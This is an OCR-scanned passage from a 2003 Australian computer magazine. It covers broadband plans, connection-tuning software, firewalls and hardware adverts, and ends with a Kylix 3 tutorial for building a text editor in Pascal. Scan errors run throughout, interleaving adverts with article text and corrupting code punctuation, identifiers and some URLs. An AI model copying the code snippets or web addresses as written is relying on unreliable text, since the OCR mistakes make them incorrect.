Having a fast connection doesn't always go hand-in-hand with vigorous 
downloading. A lot of people don't like to wait while they surf, and 
some need serious speed to access their company network from home. 
Of course, a generous download allocation never goes astray if you can 
get it. Our recommendation: any plan with a high data cap, running at 
1.5Mbit/s for less than $150 a month. We chose not to list any plan that 
costs more than $250 a month for an allowance of less than 2GB. 


Internode PADSL-1500-FLATRATE 

If it's speed you want, this is the "broadband no-brainer". Internode is the 
only ISP with widescale coverage serving up 1.5Mbit/s (with dynamic 

throttling) for $150 per month, plus a bevvy of extras. If you can keep 
your downloads under tight control, also consider the cable 
services of Optus and Telstra, which give you substantially 
higher download speeds at $80-$90 a month with a 
3GB allowance. 
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u ^ k ^ compiled from the database of BroadbandChoice.com.au, Australia's independent guide to ISP deals and is 

table, containing any changes since we went to print, can be found at www.broadbandchojce.com.au/apc. You can also u‘ 
QHOICE requirements against all the plans listed in the database. 


'‘Rates shown here are "metro" rates only. If you live outside of a capital city CBD local call zone, ISPs may charge more. ‘N/A in table denotes Not Applicable 
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S3SQ (§WM? ^ej& by subscribing today. Get 12 issues of Australia's 
biggest technology magazine delivered to your door for only $79. 


WIN over $12,000 worth of PC hardware 


way it shapes your lif^ 


can improve your business. 

















Due to popular demand these fantastic screwdrivers are back! 




SCREWiDRIViER 




Your yiPC screwdriver O 

features six different magnetic heads and is a 
must-have tool for computer maintenance. 



/IPCJUNE 2003 SUBSCRIPTIONS PROMOTION CONDITIONS OF ENTRY ■ Information on offer and prize forms part of these conditions of entry.* Offer is open 
to all residents of Australia who subscribe to Australian Personal Computer between 21/05/03 and 17/06/03. Entry is subject to the correct use of a valid credit card, or, 
if payment is made by cheque, the cheque must be cleared for payment. Subscriptions are to be sent to Australian Personal Computer, Reply Paid 3357, Sydney 2001; 
or freecall 13 61 16. Employees of the Promoter and their immediate families and agencies associated with this promotion are ineligible to enter.* Every subscriber 
(while stocks last) will receive a limited edition APC screwdriver (not available in stores) featuring six alternative magnetic heads.* Should stocks of the APC screwdriver 
run out, subscribers will receive a PC User screwdriver, also featuring six alternative magnetic heads.The screwdriver is not transferable or exchangeable and cannot 
be taken as cash.* The Promoter shall not be liable for any loss or damage whatsoever which is suffered (including but not limited to indirect or consequential loss) 
or for any personal injury suffered or sustained in connection with the prize except for any liability which cannot be excluded by law.* The Promoter accepts no 
responsibility for late, lost or misdirected mail.The Promoter is not responsible for any gifts damaged in transit* All entries become the property of the Promoter. The 
collection, use and disclosure of personal information provided in connection with this offer is governed by the Privacy Notice (see Contents Page for location in this 
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com.au 


internet that flies 


‘This price available in Capital Cities only. 

Credit card payment monthly in advance plus one-off $169 connection fee.. ADSL Service not available in all areas. 


i caiui c 



*Rates shown here are “metro" rates only. If you live outside of a capital city CBD local call zone, ISPs may charge more. 
*N/A in table denotes Not Applicable 























































































Wireless Router w/ADSl Modem / 


Extreme Ceeling-Vapechlll Case 


The Vigor2600WE Wireless 
ADSL Router with a built in ADSL 
Modem is the Internet access 
rsolution for multiple users of your 
LAN with countless other value 
*added features such as Firewall 
|security, Advanced VPN, UPnP 
^Support, and Multimedia support. 
The Vigor 2600WE features a 
Wireless Access Point, 4 Port 
Ethernet Switch, and an ADSL 
Modem/Router. 


The Vapochill case is both 
CPU cooling system and a 
“barebone” PC platform on 
which - - - 


configure Power PC 
systems and high end 
professional workstations.By 
using the VapoChill technology 
to cool standard Intel or AMD t 
CPU's to subzero 
temperatures (-25 to -15°C), 
stable clock frequencies can 
be achieved at 25 - 60% 
above standard performance. 


4 Port ADSL Modem Router Rilliou ARSL Modem Router 


This 4 Port VPN Firewall Router 
w/built in ADSL modem comes with 
a host of features including UPnP 
support, auto MDI/MDX detection, 
automatically detects and blocks 
DoS attacks, URL blocking, packet 
filtering, SPI. Also supports VPN 
embedded PPTP client/server, IKE 


$249 


Combining both an Ethernet and 
USB port, this ADSL modem can 
also serve as a router between a 
home or small office network and 
the internet. Using Network Address 
Translation (NAT) and Application- 
Level Gateway features, it can 
provide a firewall, protecting PC's 
on your network. Telstra Approved. 


$179 


*Free ADSL Inline filter included with each modem 


PC Range carries a wide range of other products including USB 2.0, PC 
Modifications,Wireless Gear and Networking Gear. 

www.pcrange.coin.au 
call 08 - 8322-9544 

sales@pcpange.cflin.au 

Reseller and Dealer enquiries welcome. 

© 2003 PC Range Pty Ltd. All prices are GST Inclusive and do not Include freight. All Trademarks or trade names are the properties of their respective owners. PC Range is the exclusive 
distributor of the Billion routers and the Vigor 2600WE in Australia. Prices and specs subject to change without notice. ABN # 56 101 821 407 




Optimise your connection 


By this stage you've tracked down the best broadband deal in town — 
but it don't stop there. Some canny strategies and some well-chosen 
pieces of software will ensure a stable connection and squeeze even 
more pep from your pipe. 

Bear in mind that much of the Internet lies beyond the control of 
you or your ISP — there are international congestion issues, differences 
between how much bandwidth different ISPs share out among their 
users, and server administrators who limit how much data will be sent 
to each individual user. As a result, there's only so much you can do at 
your end of the line to fix things. 

Login clients 

ADSL providers generally favour the PPPoE (Point-to-Point Protocol 
over Ethernet) connection protocol, but ISP-supplied login clients can 
vary widely in quality. Many power users opt for a good third-party 
program, and the best of them is RASPPPoE. This free software runs 
on all versions of Windows from 9x through to XP (XP was the first 
version to ship with a PPPoE network protocol) and is renowned for 
being extremely stable. It neatly integrates your ADSL connection with 
Windows' dialup interface, making it easy to use Windows' built-in 
Internet connection sharing tools. 
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connection drops out. 
However, for 

Macintosh cable users we 
suggest Launch! for OS X. 
This fantastic login client 
includes a usage meter 
so you can keep track of 
/e downloaded, and seamlessly integrates into the OS 


TCP/IP tweakers 

Now that you're online, make the most of your connection. Tweaking 
tools are designed to adjust your system's TCP/IP settings to favour 
your type of network connection — dialup, ADSL or cable. 

In our experience, these tweaking tools make a greater difference 
to dialup users than broadband users. There are gains to be had but 
you need to tread carefully, because a wrong setting can disable your 
connection. For example, many connection tweakers will give you 
the option of increasing the size of the MTU (Maximum Transmission 
Unit) to 1,500 bytes. "Great", you think, "bigger is better", as you wind 
up the wick. However, ADSL requires an MTU of 1,492 bytes or lower to 
work. If you set the MTU any higher, your connection will stall during 
downloads and may not work at all. A setting even iower, down to 
around 1,420, may be necessary to balance good performance with 
correct operation of your service. 

Of the hundreds of connection tweakers floating around online, the 
one which gives us the most confidence is TweakMaster. This Windows 
program allows you to try different TCP/IP settings from a range of 
preset options, or to manually adjust them. TweakMaster lets you save 
and restore your existing TCP/IP settings in case the new settings don't 
work as well, or at all. That said, we found the presets boosted download 
performance by an almost negligible 4%, so it's no magic bullet. 
Therefore, unless you believe you're not achieving full speed from your 
ADSL connection, it's best not to change 


If Linux is your OS of choice, try Roaring Penguin. This popular 
ADSL login client runs in userspace, doesn't need kernei support, 
is straightforward to set up and, once you've told it which Ethernet 
interface your ADSL modem is attached to. Roaring Penguin 
automaticaliy finds the access concentrator that Teistra set you up on. 

If you're using BigPond Cable, do yourself a favour and ditch 
Telstra's Big Pond Launchpad, which has a weli-deserved reputation 
for crashing. Grab BPALogin, which is avaiiable for Windows, Linux and 
Mac. It's far more robust, can be run as a service under Windows 2000 
or XP or as a standalone program, and automatically reconnects if the 
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B Feature 


spend less time sending acknowledgement (ACK) packets to a distant 
server after receiving a packet. The downside is that if the ACK doesn't 
make it back to the host, a larger set of replacement data has to be sent 
— which slows things down. Gradually increase the RWIN vaiue, while 
measuring the throughput of your connection using the excellent 
DUMeter utility (see "Speed testers", right). 

Another trait of TweakMaster Is DNS caching, which remembers the 
direct IP addresses of Web sites you've visited. Normally, when your 
computer needs to resolve an Internet host name into its numerical 
address, it contacts your ISP's DNS server, which in turn sends a query 
to the DNS server responsible for the domain. The reply is bounced 
back to your PC, and the entire process can take several seconds. 

By recording each "host name to IP address" mapping on your PC, 
TweakMaster makes the answer available straight away and speeds 
surfing by several seconds per site. 


Your best bet is to stick to opening muitipie connections to one 
server. Our choice in this field is Download Accelerator Pro which, 
under testing, sent the download transfer rate over a cable connection 
soaring from a stable 50KB/s to a whopping average of 250KB/S. 

Yep, that's five times as fast —just by making better use of the 
bandwidth you're aiready paying for. (Remember that download 
accelerators only use the maximum bandwidth available on your 
broadband service — so if you've signed up for 256Kbit/s, the fastest 
speed you're likeiy to get is 32KB/s). 

DAP is ad-supported freeware (it serves banner advertisements 
onto the interface) and installs a toolbar onto your browser to provide 
easy access to program settings. The best features include scheduled 
downloads, mirror searching to find alternative downioad locations 
for the same file, the ability to pause and resume downloads, and 
automatic recovery from "broken" downloads. 


Download accelerators 

Of all the utilities avaiiable to peak-tune your broadband connection, 
you'll get the best results from download accelerators. They're the 
real speed pill of the broadband super-users because they make the 
most of your available bandwidth — they're especially great for cable 
customers who have vast amounts of bandwidth to work with. 

Download accelerators open multiple connections to a single 
server and fetch a file in several discrete chunks, one per "channel", so 
that you're downloading in parallel instead of serial. 

This overcomes international latency problems and circumvents 
any restrictions the server administration has put on how fast a 
single user can download files. The server sees only several users 
downloading the same fiie. But on your PC that one file — which the 
download accelerator stitches together — is hurtling down the pipe. 

Some download accelerators even try to grab chunks of the 
same file from several servers, although this can have limited success 
because of the increased potential for data corruption. 



Speed testers 

Just how fast is your connection — 

— are you getting what you're 

payingfor? ■ -iWTiwwtiBW* i 

Here are two tools to help 



you find out, as well as helping 
assess throughput while you 
finetune any system settings. 

The Aussie-made TCP/IQ 
Line Speed Meter tests your 
broadband connection speed 
and compares it to that of other 
customers in your area, on your 
service provider, or on other 
service providers. The latest version also checks the health of your 
connection every 10 minutes, with the eventual aim of plotting ISP 
reliability over different geographical areas. 

DUMeter takes a different approach — instead of running a set of 
predefined speed tests, it monitors the throughput of your connection 
and lets you perform your own tests, with a useful stopwatch function 
to accurately measure download time. 

Usage meters 

How can you avoid excess charges if you exceed your monthly 
download limit? A usage meter will 
help you keep track. But be aware 
that all usage meter software is 
customer-programmed, and is 
generally only available for the most 
popular ISPs. Therefore it's worth 
checking thoroughly before selecting 
an ISP. 

The excellent BBusage supports 
Internode and Telstra BigPond 
broadband services and can give 
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Questions about Networking? 

Want to know your nearest stockist location? 

1800-235-546 or visit www.belkin.com/anz 


Wireless Networking Made Simple 0 

• Simultaneously share your cable/DSL Internet access with multiple computers 

• Share files and other network peripherals (printers, scanners, DVD-ROMs, CD-ROMs) 

• Works with 802.11b products and coffee shop/airport "hot spots" 

And do it all using the fastest wireless technology available - 54Mbps! 


Virtually 

5x 

FASTER 


54g Wireless Notebook Network Card-F5D7010au 

• Connects your notebook to a wireless network 

• Works with all 802.11b devices 

• Features 64- and 128-bit WEP encryption 

• Works with Windows 98 SE, 2000, Me, or XP 


54g Wireless Network Access Point-F5D7130au 

• Allows you to add 54g wireless networking to an existing network 

• Expands the coverage area of an existing wireless network 

• Features 64- and 128-bit WEP encryption 

• Works with all 802.11b devices 


54g Wireless Desktop Network Card-F5D7000au 

• Connects your desktop equipped with an available PCI slot 
to a wireless network 

• Works with all 802.11b devices 

• Features 64- and 128-bit WEP encryption 

• Works with Windows® 98 SE, 2000, Me, or XP 


54g Wireless Cable/DSL Gateway Router-F5D7230au4 

• Shares your high-speed Internet connection with all 
your computers 

• Offers 6 months free of Parental Control: Web Content Filter 
to protect your children from objectionable web content 

• Offers Easy Install Wizard to have your network set up in 
under 3 minutes 

• Works with all 802.11b devices 

• Connects wired computers with its built-in switch 
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you a simple pop-up of 
your monthly tally or, if you 
want more detail, full TCP/IP 
statistics and usage history. 

Ostat works with 
Netspace ADSL, Telstra 
BigPond ADSL and cable, and 
OptusNet Cable, and neatly 
tailors itself to each ISP. The 
colour-coded system tray icon 
gives an at-a-glance view of 
how you're tracking, as well as real-time graphing of usage. 


Firewalls 

Strictly speaking, a firewall won't make the most of your broadband 
connection — but it'll stop other people (hackers) from doing so. A 
firewall is must-have software for every broadband user. The most 
popular is 
ZoneAlarm, an 
award-winning 
Windows firewall 
which is free for 
personal and 
non-profit use. It 
doesn't demand 
the complex 
configuration 
typically required 
by other firewall 
software — once 
installed, it iocks 

down the PC and prompts you to give access to program and services 
as they are run. ZoneAlarm also blocks VBS email attachments — a 
favourite for virus writers. And there are dozens of online tutorials on 
finetuning ZoneAlarm's settings. 

Kerio Personal Firewall (also free for personal use) recently won 
our Editor's Choice award (ARC March, page 60) for best personal 
firewall, effectively detecting and blocking everything we threw at 
it. Kerio Personal Firewall goes one-up on ZoneAlarm by showing 
all connections into and out of your computer in a live, constantly 
updating list. This is useful for monitoring what's going on with your 
Net connection. It also sweeps your system for spyware. aUZS 




Savvy sites 


O 


This should really be called Step 7a, or a Special Bonus Step, because 
broadband and power users have a few tricks to keep up with the 
bleeding edge. They tap intoonline communities of fellow users 
to trade tips, tricks, news, gossip and anything else that takes their 
fancy. And they learn more about the technology and the potential 
of their fast connection so as to get even more from it. Here are three 
must-see sites for Australian broadband users. 



■ Whirlpool 

whirlpool.net.au 

Whirlpool is an independent broadband hub run by a community of 


who range from 
broadband experts 
to first-time users. 

The site's best 
features include 
news on the 
local broadband 
industry, 
augmented by 
plenty of spirited 

debate in the online forums. These active discussion areas are also the 
place to get opinions on the best (and worst) iSPs, to get advice on 
thorny technical issues and to air grievances. 


I BroadbandChoice 

broadbandchoice.com.au 

This companion site to Whirlpool lists virtually every broadband plan 
in Australia, with a unique search tool that allows you to quickly find 
plans which meet your needs. Use BroadbandChoice to find the ISPs 
that seem right for you, then check the discussion forums at Whirlpool 
to see what customers of each ISP have to say. 


I OzCableGuy 

www.ozcableguy.com 

Darren Stribning draws on his experience as an engineer for a leading 
ISP to create this site packed with hands-on tutorials, firmware 
updates, hardware reviews and broadband troubleshooting guides. 
OzCableGuy covers 
many esoteric topics that 
sometimes confound 
new broadband users, 
such as why their cable 
connection drops out every 
few minutes (this is due 
to their firewall blocking 
the "heartbeat" pulse on 
Telstra's cable service) and 
how to share an internet 
connection with the rest of 
a home network. Stribning 

also sells and installs ADSL modems, but his reviews of them ai 
remarkably honest and based on field experience. 
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Hands-on with hardware and software, plus bonus CD content 


108 KylixB 

It's one of the most professional 
Linux programming environments 
ever created, and it's free on this 
month's cover CD set. David Williams shows how to 
start coding with Borland's Kylix 3 Open Edition. 



132 


Hidden tools in Windows 9x 

The greatest riches are often right under your 
nose. Joe Cossets unearths a treasure trove of 
little-known power tools buried in Windows 9x. 

Home entertainment systems 

Paul Robinson concludes this two-part 
Workshop series on building a PC-based 
home entertainment system. 


118 


Linux: beyond setup 

From troubleshooting a video card to scheduling 
events, Matt Overington shows you how to go the 
last mile after installing Linux. 




134 


Locking down Apache security 

There are three golden rules of Apache security, 
writes Steven Noble: stay up-to-date, be stingy 
with permissions and audit server-side scripts. 


122 


Xtreeme SiteXpert 4.1 

David Williams demonstrates how to create a 
professional navigation scheme within minutes, using 
Xtreeme's SiteXpert 4.1 (free on our cover CDs). 
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Perl graphics development 

As Ashley Harris demonstrates, there's a 
lot more to Perl programming than clever 
text-handling algorithms. 
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Set up a secure wireless network 

So you're ready to cut the cables? It's not always as 
easy as you might think. JarradSp/go explains how 
to set up and secure your wireless network. 



Caligari trueSpace3.2 

David Williams explains how to build stunning 
3D scenes using Caligari trueSpace3.2 (free on 
this month's cover CD). 


128 


Windows XP's Remote Assistance 

Reach out and help someone, without ever leaving 
your desk. Serdar Yegulalp explains how Windows XP's 
Remote Assistance lets you log into and troubleshoot 
another PC from the comfort of your chair. 






Most Workshop articles are accompanied by bonus 
software loaded onto our cover CD set — just look for this 
icon.This is often software that's integral to the article. 

The selection ranges from full working versions and trial versions 
to the best shareware and freeware. 

APC can't provide tech support for these programs, 
but if you've got a problem with the CD itself, by all means 
holler our way (see pages 10-11 for details of how to 
contact our CD team). 

L_ J 
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Hacking the Pocket PC registry 

Discover hidden tweaks and unlock cool 
features on your handheld, as Jenneth Orantia 
reveals the art of hacking the Pocket PC registry. 

ASP Web Database interface Builder 

David Williams shows how to whip up a database- 
driven Web site using AWDiB (yet another great 
freebie from this month's cover CD set). 

Boosting your Google rating 

foWow Ash Nallawalla's 10-point checklist and 
boost your site's prominence on the Google 
results page. 












Up and running 

with Kylix 3 


It's one of the most professional Linux 
programming environments ever. David Williams 
introduces Borland's Kylix 3 Open Edition. 

Kylix 3 is a professional integrated software development 
environment, based on Borland's popular Delphi (itself based on the 
Pascal language). Its rapid application development methodology 
makes it the ideal first step for anyone wanting to get into Linux 
programming, and is immediately accessible. The Kylix Open Edition 
(included on our cover CD set) allows you to develop fully working 
applications for non-profit use. 

THE IDE 

Kylix 3 lets you code in a rich visual interface. It also sports an 
integrated development environment (or IDE) which provides not 
only the facilities for writing and editing a Pascal program, but also 
for debugging, managing projects made of multiple source code 
files and consulting online help files. Becoming familiar with the IDE 
means you can make Kylix work for you. 

There's quite a lot to get to know in the IDE. The top window 
with Kylix's menu and toolbars doesn't really have a name, so is just 
referred to as the main window (if this window is closed, Kylix will 
shut down). The main window contains the top-level menus as well 
as several undockable and customisable toolbars. These toolbars 
contain a variety of toolbuttons, which act as shortcuts to the menu 
items. The toolbars may be dragged around in the main window, 
or undocked (turning them into separate floating windows) by 
dragging them by the vertical double bar (called a grabber). 

The remaining item on the main window is the tabbed area 
called the Component Palette (this can also be undocked, if desired). 
This is a very important window, showing all the components 
available for designing forms in an application. 

A component is a program object that can be used in the Kylix 
visual designers, such as a button or an edit control. Each component 
has an underlying data type. Eor example, the button component is 
typeTButton, and has a tooltip that says Button; also the checkbox 



Kylix - TextEditoK 
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Edit Search View Project R 
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3 3 1 Save All (Shift+Ctrl+S)| 


Save me: the Save All toolbar Icon quickly saves all open, modified files. 


component is of type TCheckBox and has a tooltip that says CheckBox. 

Kylix comes with a library of components called CLX 
(Component Library for Cross-platform). The Server Developer 
Edition has about 165 components, the Desktop Developer Edition 
has about 130, while the Open Edition has about 50. The paid-for 
versions obviously have more capabilities, but there is still a lot of 
scope in these 50 components. The Open Edition's 50 components 
are spread across four tab pages and, like the toolbars, the 
Component Palette is customisable. 

A form is a generic term for either a window or a dialog box. All 
forms are designed in the same way, and can be either displayed in a 
modeless or modal fashion to get the effect of a window or a dialog. 

To place components on a form, click on the component image 
on the Component Palette then click on the form. An instance of the 
component will appear on the form and can be moved around and 
resized, if needed. The form itself can also be resized as appropriate. 
As many components as are needed can be placed onto the form. 

The Object Inspector is displayed to the left of the form. It lists 
the selected component's properties and allows their initial default 
values to be altered. This means a form's initial appearance can be 
accurately designed. For example, a button's caption can be set via 
its Caption property. 

Single-clicking a component on the form will select it, 
allowing it to be moved, resized or have its properties modified. 
Multiple components can be selected simultaneously, either by 
lassoing them (drag out a rectangle which touches or encloses all 
components to select) or by single-clicking the first one and Shift¬ 
clicking all the rest. 

The Object Inspector also tells you the name of the component 
and its type. The drop-down list at the top of the Object Inspector 
shows the type of the component, preceded by its name. The 
component's name can also be seen further down the Object 
Inspector as the value of the Name property. The component's 
name can be changed, just like any other property. It's a good 
programming practice to give meaningful names to components. 
The Object Inspector has tab pages to switch been the display of 
properties or event-handlers for a component. 

Kylix visual application development involves setting up 
components on forms, then writing event handlers for those 
components and forms as required. The event handlers can 
manipulate the objects set up at design-time, accessing their 
properties or calling their methods, or can make use of any other 
part of the CLX library. 

ROLL YOUR OWN TEXT EDITOR 

Enough of this preamble - here's how to build an application, 
specifically a text file editor like Windows' Notepad. To start a 
fresh project for an executable GUI application, choose File, New 
Application. This creates a framework for an application with a 
single form. 
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The elements that make up Kylix’s IDE 




O Kylix's menu bar. 

O File management toolbar icons, including file open and file save. 

O Project management toolbar icons, including add file to project and remove file from project. 

O Window management toolbar icons, including cascade all. 

O Program execution and debugging toolbar icons, including run, pause and single stepping. 

O Object Inspector, listing all customisable properties for the currently selected object. 

O Object Inspector tab pages, to switch between display of properties and events. 

O Online help toolbar icon. Click this anytime for help. 

O Component palette, allowing Kylix CLX elements to be easily dragged-and-dropped onto user-interface forms. 

® De-select icon. If a component has been inadvertently selected, click this to de-select it. 

® Tab pages for quick access to all available CLX components. 

® Drop-down list, providing quick access to personalised IDE window layouts. 

® User interface form, in design mode, where components can be dragged-and-dropped. 

® Source code editor, with tab pages to move between all currently open files. Usually “hidden" behind the form editor. 

























































































































Before proceeding be sure to save the project — and remember 
to save regularly while programming to avoid losing work due 
to unexpected power failures or crashes. The first time you save, 
Kylix will prompt for filenames for the form and then the project 
file itself. The name assigned to the project will be the name of the 
final, compiled, executable program. Note that despite the fact that 
the project file and form have different extensions (DPR and XFM 
respectively) it's vital that their names are different. 

Now to build the user interface. Drop a TMemo component 
onto the form. Find it on the Standard page of the Component 
Palette. Change its Name property from Memol to memText. Drop a 
TMainMenu component (also from the Standard page) and change 
its name to mnuMainMenu. 

There is a notable difference between the memo and the menu. 
The memo is a visual component and its visual representation is 
displayed on the form in design mode. The main menu component is 
a non-visual component, and so it is represented as an icon, allowing 
it to be selected at design-time. At run-time the actual menu 
represented by the component will be displayed. 

We need ways to allow files to be opened and saved. Drop a 
TOpenDialog and TSaveDialog component onto the form. These 
are both found on the Dialogs tab page of the Component Palette. 
Change their Name properties to dIgOpen and dIgSave. 

No more visual controls are required, so the memo can be 
made to occupy all available space on the form by setting its Align 
property to alClient. This tells it to occupy all available "client area" 
(after taking into account any other controls which are aligned to 
one of the form's edges). 

The memo, like many controls, defaults to displaying its name 
as its textual content. Click on the memo and edit its Lines property 
so it's empty. 

DESIGNING A MENU BAR 

Double-click the menu to design it. The menu is empty to start with 
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Two components: one visual and one non-visual. 
The menu is shown at design-time as an icon. 
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but a potential menu item is highlighted, and its properties are on 
display in the Object Inspector. 

Set one or more property to make the menu item real and 
complete. Set Caption to &File and its Name to mniFile. The & in the 
caption makes the following letter underlined, meaning the user can 
activate the File menu by pressing Alt + the underlined key (so, in 
this case, Alt-t-F). 

Click the item below File and set its Caption to &New, its Name to 
mniNew and its Shortcut to Ctrl+N. This means Ctrlt-N can be used 
to directly invoke this menu item's behaviour without needing to use 
the mouse. 

Continue adding more items to the File menu — make an Open 
and Save menu item, a separator (useas the Caption) and an 
Exit menu item. Use sensible names and shortcuts. Not all possible 
shortcuts will be listed in the Shortcut drop-down list, but can be 
typed in. For example, type Alt-tX as the Shortcut for the Exit menu 
(and give it a Caption of E&xit). This means the Alt+X keys can be 
pressed together to activate the Exit menu item. 

BEHINDTHE SCENES... 

The user interface is essential to providing an intuitive and usable 
program. However, program code must be written to make the 
program actually do something useful. 

Each menu item has an OnClick event that fires when the menu 



The classes in the CLX are based on properties, methods and events. 
Each class includes data members (properties), functions that 
operate on the data (methods), and a way to interact with users of 
the class (events). 

A method is a procedure of code that is always associated with 
a class. Methods define the behaviour of an object. Properties are 
characteristics of an object that influence either the observable 
behaviour or the operations of the object. For example, the Visible 
property determines whether an object will be displayed on the screen. 

Unlike methods, that are only available at runtime, some properties 
can be seen and changed at design time, with immediate feedback as 
the components change in the IDE. 

The calls to get and set the values of properties can be methods, so 
special processing can be done that's invisible to the user of the object. 
For example, data could reside in a table but could appear as a normal 
data member to the programmer. 

A property is not restricted to a single object. Changing a property on 


one object can affect several objects. For example, setting the Checked 
property on a radio button affects all of the radio buttons in the group. 

An event is an action or occurrence detected by a program. Most 
modern applications are said to be event-driven, because they are 
designed to respond to events. In a program, the programmer has no 
way of predicting the exact sequence of actions a user will perform. 

For example, the user may choose a menu item, click a button, or 
mark some text. Event-based programming means code is written to 
handle the events of interest — regardless of the order in which they 
may occur, rather than writing code that always executes in the same 
linear fashion. 

There are many hundreds of events in the CLX libraries. Simply 
moving a mouse across the screen generates event after event. If 
you've ever seen a button or piece of text change colour when the 
mouse moved over it, that's because the program is responding to a 

Properties, methods and events (PME) are the fundamental building 
blocks of any object — and not just in Kylix; this is also the basis of Java, 
Visual Basic.NET and other modern programming languages. 
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8 TIMES BEHER SOUND QUALITY 
Astounding 106db SNR audio quality compared I 
regular 16-bit audio card at 90db SNR. 


Superior 24-bit ADVANCED HD 
audio technology for your music, 
games and movies. 

Also comes with convenient 
front panel connectivity for 
expanded options. 


Sound Blaster Audigy 2 
Get the best of digital music, gai 
and movie experiences with the 
superior 24-bit ADVANCED HD 
audio technology! 


THE O'; Y THX® CERTIFIED SOUND CARD * 
Endorsed by the audio experts in the movie industry 
for the most awesome cinematic experience. 


THE ONLY DOLBY® CERTIFIED SOUND CARD FOR DOLBY 
DIGITAL EX 

Get True Dolby Digital EX support for rear movie 
centre channel for intensified 6.1 movie realism. 


RECORD AT THE HIGHEST POSSIBLE AUDIO FORMAT 
OF 24-BIT/96KHZ 

Capture all the subtle details of the original 
recording with pure audio recording path. 


THE 1ST MEDIA PLAYER WITH DVD-AUDIO PLAYBACK 
Playback DVD-Audio discs at 24-bit/192 kHz 
in stereo or 24-bit/96kHz in 5.1 mode. 


ULTRA IMMERSIVE 6.1 SURROUND SOUND EXPERIENCE 
Enjoy automatic 6.1 positional audio on 
any games which support 3D audio. 


For a list of all DVD Audio titles available visit www.warnervision.com. 


POWER UP WITH CREATIVE'S EAX ADVANCE HD’ 
Gives you the most realistic music playback 
and immersive gameplay. 
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effects in games. 
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Brand spankin': a new, empty menu. 



item is selected. Make an OnClick handler for the File/Exit menu Item 
by double-clicking on it. Kylix opens the source-code editor, making 
stub code for the Exit menu item's OnClick event handier. The cursor 
is placed at the point to begin writing code. Simply enter: 

Close 

The whole routine should look like this: 

procedure TfrmTextEditor.mniExitClick(Sender: TObject); 
begin 
Close 
end; 


FFileName: WIdeString; 

The F prefix is a common convention, indicating a private data field. 
Also note the filename is being stored in a WideString, which is a 
string made of Unicode (wide) characters, to cater for file names with 
international characters. 

When the form (or any object) is created at runtime, all its 
data fields will be Initialised with zero-byte values, so FModified 
will be initialised to False, and FFileName will be initialised to an 
empty string. 

FModified needs to be set to True whenever the content of the 
menu is changed. Make an OnChange event-handler for the memo 
by double-clicking on it, and writing code like this: 


A nice touch would be to keep track of whether the user has 
made any changes to their memo, so the program can prompt if 
they want to save their changes, when choosing File/New. Kylix adds 
declarations automatically for all components and event handlers at 
the top of the source code file. Scroll to the top and the following will 
be visible: 

type 

TfrmTextEditor = class(TForm) 
mnuMainMenu: TMainMenu; 
memText: TMemo; 
dIgOpen: TOpenDialog; 
dIgSave: TSaveDialog; 
mnlFile: TMenultem; 
mniNew: TMenultem; 

mniAbout; TMenultem; 
procedure mniExitClick(Sender: TObject); 
private 

1 Private declarations) 
public 

{Public declarations 1 
end; 

Extra data fields, methods or properties can be added here. Add two 
new variables to the private section of the form class: 


£> 


Help just a click away 

Kylix provides detailed online help. Be sure to remember it's there and use it 
whenever you need to. You can click the heip toolbar icon, but you can also 
click on anything you need help with and press FI. Kylix will display context- 
sensitive help, relating to the item you have clicked on, whether it is an 
object, a property, or something else. 


For example, click on the memo component. Press FI. Kylix displays help 
about the TMemo object and how to use it. 



private 

i Private declarations} 
FModified: Boolean; 


► stumped? Oniine help is just a click away. 
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procedure TfrmTextEditor,memTextChange(Sender; TObject); 
begin 

FModified := True 
end; 

When the user chooses to save, the program must first see if a valid 
filename is stored in FFileName. If not, the save dialog will be used 
to allow the user to choose a filename, and assuming they didn't 
cancel the save dialog, that filename can be stored in the data field. 
The memo's content can then be saved to the filename stored, by 
calling a convenient pre-existing SaveToFile method. The code looks 
like this: 

procedure TfrmTextEditor.mniSaveClick(Sender; TObject); 
begin 

if Length (FFileName) = 0 then 



Borland based Kylix heavily on their flagship Windows development 
tool, Delphi. 

Up until version 6, Delphi's component library was known as the 
VCL — Visual Component Library. This provided a large suite of user 
interface controls and other components which essentially provided a 
wrapper around the Windows API. Programmers could enhance the 
VCL and make their own components, which could then be distributed 
for other programmers to use. 

The VCL resurfaced in Borland's companion C/C++ product, 
C-t+Buiider, meaning a wealth of pre-written components were 
immediately available. Any VCL component developed for Delphi could 
be used in C-t+Builder, and vice versa. 

Flowever, when Borland introduced Kylix for Linux, the VCL was 
unsatisfactory, due to its large emphasis and reliance on the 
Windows API. Thus the CLX — pronounced clicks — was born. This 
is a cross-platform library, identical with Kylix and Delphi. 

A Kylix application will use the CLX as its underlying component 
library. Buttons, icons, panels and any of the visual control or non-visual 
objects that you drop onto your forms will be CLX components. 

In Delphi, applications can use either the VCL or CLX libraries. It's 
backwards-compatible with applications from previous versions of 
Delphi by using the VCL, but at the same time is sideways-compatible 
with Kylix through the CLX. The text editor application developed in 
this article is a perfect example. The program code opens, compiles and 
executes within Delphi under Windows without modification. 

Much of this is purely semantic, because as far as functionality goes 
the CLX and VCL libraries are for the most part fully matching — in fact, 
there is no difference at all between the "Standard" palettes in either 
component libraries. 

There are still buttons to drop onto forms, for example, but the 
CLX is a new component library, designed without reference and 
dependence on a specific operating system. Instead, It builds on 
the Qt toolkit which was made popular on Linux but is aiso available 
for Windows. 

This means that the only obvious difference for most developers will 
be simply the uses clause of a form, like this: 


if dIgSave.Execute then 
SetFileName (dIgSave.FileName); 

if Length (FFileName) > 0 then 
begin 

memText.Lines.SaveToFile (FFileName); 
FModified := False 



To handle the File, New menu, the memo must be cleared — after 

first prompting to save the current text if it has been altered. The 

required event-handler looks like so: 

procedure TfrmTextEditor.mniNewClick(Sender; TObject); 

begin 

if FModified then 



Semantics: the text editor running under Windows, without any code changes. 

uses 

QControls, QForms, QStdCtrls, QGraphics, qt; 

with Q indicating Qt-dependent units, and with conditional uses like so: 
uses 

($IFDEF MSWINDOWSl 
Windows, 

(SEND I FI 
(SIFOEF LINUX) 

Libc, 

(SENDIF) 

Two built-in macros, MSWINDOWS and LINUX, are used above, so the one 
body of source code can contain conditional sections for 
operating-system specific routines. 

It is easy to imagine that the CLX could be extended to other 
operating systems in time, most notably Solaris and Mac OS X. 
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case MessageDIg ('Save changes?', mtConfirmation, 

[mbYes, mbNo, mbCancel], 0) of 
mrYes: mniSaveClick (mniSave); 
mrNo: FModified := False; 
mrCancel: Exit; 
end; 

if not FModified then 
begin 

FFileName := "; 
memText.Clear; 

FModified := False 
end 
end; 

MessageDIg is used to generate a confirmation dialog with three 
